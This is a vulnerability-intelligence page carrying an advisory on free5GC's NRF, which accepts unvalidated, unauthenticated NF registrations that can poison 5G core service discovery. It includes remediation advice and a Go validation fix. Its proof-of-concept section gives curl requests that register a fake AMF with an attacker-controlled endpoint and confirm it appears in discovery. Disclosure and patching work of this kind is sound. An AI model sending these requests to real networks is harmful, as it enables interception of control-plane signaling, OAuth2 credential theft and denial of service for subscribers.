Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Default deployment exposes an unauthenticated network endpoint (AV:N/AC:L/PR:N/UI:N); missing validation lets forged profiles poison the registry, yielding high confidentiality, integrity, and availability impact on control-plane traffic.
Primary rating from Vendor (https://github.com/free5gc/free5gc).
CVSS VectorVendor: https://github.com/free5gc/free5gc
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
7DescriptionCVE.org
Summary
free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers.
---
Details
free5GC NRF's RegisterNFInstance handler (PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID}) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated:
Format validation: nfInstanceId accepts non-UUID strings (e.g., "not-a-uuid", "11111111-1111-1111-1111-111111111111"), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement.
Enum validation: nfStatus accepts values outside the {REGISTERED, SUSPENDED, UNDISCOVERABLE} enum (e.g., "INVALID_STATUS").
Range validation: heartBeatTimer accepts values outside the valid range [1, 3600] (e.g., 0, 99999), violating TS 29.510 §5.2.2.2.
Mandatory field enforcement: nfProfile is accepted as null, violating the required field constraint in §5.2.2.2.
Service endpoint integrity: nfServices.ipEndPoints entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., 10.0.0.99) to be registered as legitimate NF service endpoints.
All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's NfProfile collection (which has no JSON schema validator) and appear in NFDiscover results alongside legitimate NF instances.
Attack chain ( OAuth is enabled):
- A compromised NF with valid OAuth token registers a fake AMF with
nfServices.ipEndPointspointing to10.0.0.99:7777 - NRF stores the profile and advertises it via NFDiscover
- SMF queries NRF for AMF instances and selects the fake one
- SMF routes N1N2 signaling to
10.0.0.99:7777 - Attacker intercepts control-plane traffic
Discovery methodology: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories.
Logging: NRF default configuration (LogEnable: false) produces zero runtime log lines - 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging).
PoC
No configuration changes needed. Default free5GC deployment is vulnerable.
# Step 1: Register fake AMF with attacker-controlled IP
curl -X PUT \
"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \
-H "Content-Type: application/json" \
-d '{
"nfInstanceId": "11111111-1111-1111-1111-111111111111",
"nfType": "AMF",
"nfStatus": "REGISTERED",
"heartBeatTimer": 3600,
"plmnList": [{"mcc": "001", "mnc": "01"}],
"sNssais": [{"sst": 1, "sd": "010203"}],
"nfServices": [{
"serviceInstanceId": "fake-amf-svc",
"serviceName": "namf-comm",
"versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}],
"scheme": "http",
"nfServiceStatus": "REGISTERED",
"ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}]
}]
}'
# Returns: HTTP 201 (Accepted - profile stored with fake endpoint)
# Step 2: Confirm the profile is stored
curl "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111"
# Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response
# Step 3: Verify the fake AMF appears in discovery results
curl "http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF"
# Returns: HTTP 200 - fake AMF with 10.0.0.99:7777 listed alongside real AMFs
# Additional constraint violations (all return 200/201):
curl -X PUT "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid" \
-H "Content-Type: application/json" \
-d '{"nfInstanceId": "not-a-uuid", "nfType": "AMF", "nfStatus": "INVALID_STATUS", "heartBeatTimer": 0}'
# Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer - ALL accepted)Expected fix:
import "github.com/google/uuid"
func validateNFProfile(profile *NFProfile) error {
// UUID v4 validation
if _, err := uuid.Parse(profile.NfInstanceId); err != nil {
return fmt.Errorf("nfInstanceId must be valid UUID v4")
}
// Enum validation
validStatuses := map[string]bool{"REGISTERED": true, "SUSPENDED": true, "UNDISCOVERABLE": true}
if !validStatuses[profile.NfStatus] {
return fmt.Errorf("nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE")
}
// Range validation
if profile.HeartBeatTimer < 1 || profile.HeartBeatTimer > 3600 {
return fmt.Errorf("heartBeatTimer must be between 1 and 3600")
}
return nil
}
// Return HTTP 400 with ProblemDetails on validation failureImpact
| Property | Value |
|---|---|
| Authentication | None required |
| Impact | Control-plane traffic interception, OAuth2 credential harvesting, denial of service |
| Affected component | free5GC NRF Docker image free5gc-fuzz:latest |
| Affected implementations | All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) - the fake profile propagates to the entire 5GC service mesh |
| Fix | Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure |
| Status | Reported to maintainers |
Scope of impact: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact all NFs within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack.
Environment: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.
Articles & Coverage 2
AnalysisAI
NF registration poisoning in free5GC's Network Repository Function (NRF) lets attackers with SBI network access register forged Network Function profiles containing arbitrary, attacker-controlled service endpoint IPs, because the RegisterNFInstance handler performs no field validation against 3GPP TS 29.510. Legitimate NFs (AMF, SMF, AUSF, UDM, PCF, NSSF) then discover the fake profiles via NFDiscover and route control-plane signaling to the attacker, enabling interception, OAuth2 credential harvesting, and denial of service across the entire 5G core service mesh. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker needs SBI (service-based interface) network reachability to the NRF's nnrf-nfm endpoint on the 5G core control plane. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The signals are strong and mutually reinforcing: the vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores 9.3 Critical, publicly available exploit code exists (a documented PoC plus a public gist), and a working curl-based reproduction requires no configuration changes against a default deployment. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Vendor-released patch: upgrade the NRF to free5gc/nrf v1.4.5 (advisory GHSA-x8mj-6p3q-g5pp lists affected < 4.2.2, fixed in 4.2.2 at the free5gc umbrella level); apply the fix from https://github.com/free5gc/nrf/pull/90 (commits bda0cf75be5556bb4c758c8b34710f3fe6bbe3ea and fcd3cfaa27cc4dc17172ee0c4c3e0a3a696297c6), which adds validateNfProfile/validateNfProfileJSON to the RegisterNFInstance and UpdateNFInstance paths and returns HTTP 400 ProblemDetails on UUID/enum/range/required-field/IP-endpoint violations. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all free5GC deployments and immediately restrict SBI network access to verified administrative networks only; assess whether NRF is accessible from untrusted segments and isolate if necessary. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-20 – Improper Input Validation
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-67835
GHSA-x8mj-6p3q-g5pp